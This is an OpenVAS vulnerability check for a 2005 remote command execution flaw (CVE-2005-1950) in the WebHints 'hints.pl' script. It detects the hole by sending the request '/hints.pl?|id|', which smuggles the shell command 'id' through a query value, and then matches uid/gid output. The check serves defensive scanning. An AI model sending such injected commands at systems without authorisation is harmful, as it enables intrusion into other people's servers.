The remote host is running the WebHints scripts.
The remote version of this software is vulnerable to remote command
execution flaw through the script
# OpenVAS Vulnerability Test
# $Id: webhints_remote_cmd_exec.nasl 6053 2017-05-01 09:02:51Z teissa $
# Description: WebHints remote command execution flaw
#
# Authors:
# David Maciejak <david dot maciejak at kyxar dot fr>
#
# Copyright:
# Copyright (C) 2005 David Maciejak
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#
# Ref: blahplok yahoo com
if(description)
{
script_id(18478);
script_version("$Revision: 6053 $");
script_tag(name:"last_modification", value:"$Date: 2017-05-01 11:02:51 +0200 (Mon, 01 May 2017) $");
script_tag(name:"creation_date", value:"2005-11-03 14:08:04 +0100 (Thu, 03 Nov 2005)");
script_cve_id("CVE-2005-1950");
script_bugtraq_id(13930);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("WebHints remote command execution flaw");
script_category(ACT_ATTACK);
script_tag(name:"qod_type", value:"remote_vul");
script_copyright("This script is Copyright (C) 2005 David Maciejak");
script_family("Web application abuses");
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_tag(name:"solution", value:"No update currently available, delete this script.");
script_tag(name:"summary", value:"The remote host is running the WebHints scripts.
The remote version of this software is vulnerable to remote command
execution flaw through the script 'hints.pl'.
A malicious user could exploit this flaw to execute arbitrary commands on
the remote host.");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
http_check_remote_code (
check_request:"/hints.pl?|id|",
extra_check:"WebHints [0-9]+\.[0-9]+</A></SMALL></P></CENTER>",
check_result:"uid=[0-9]+.*gid=[0-9]+.*",
command:"id"
);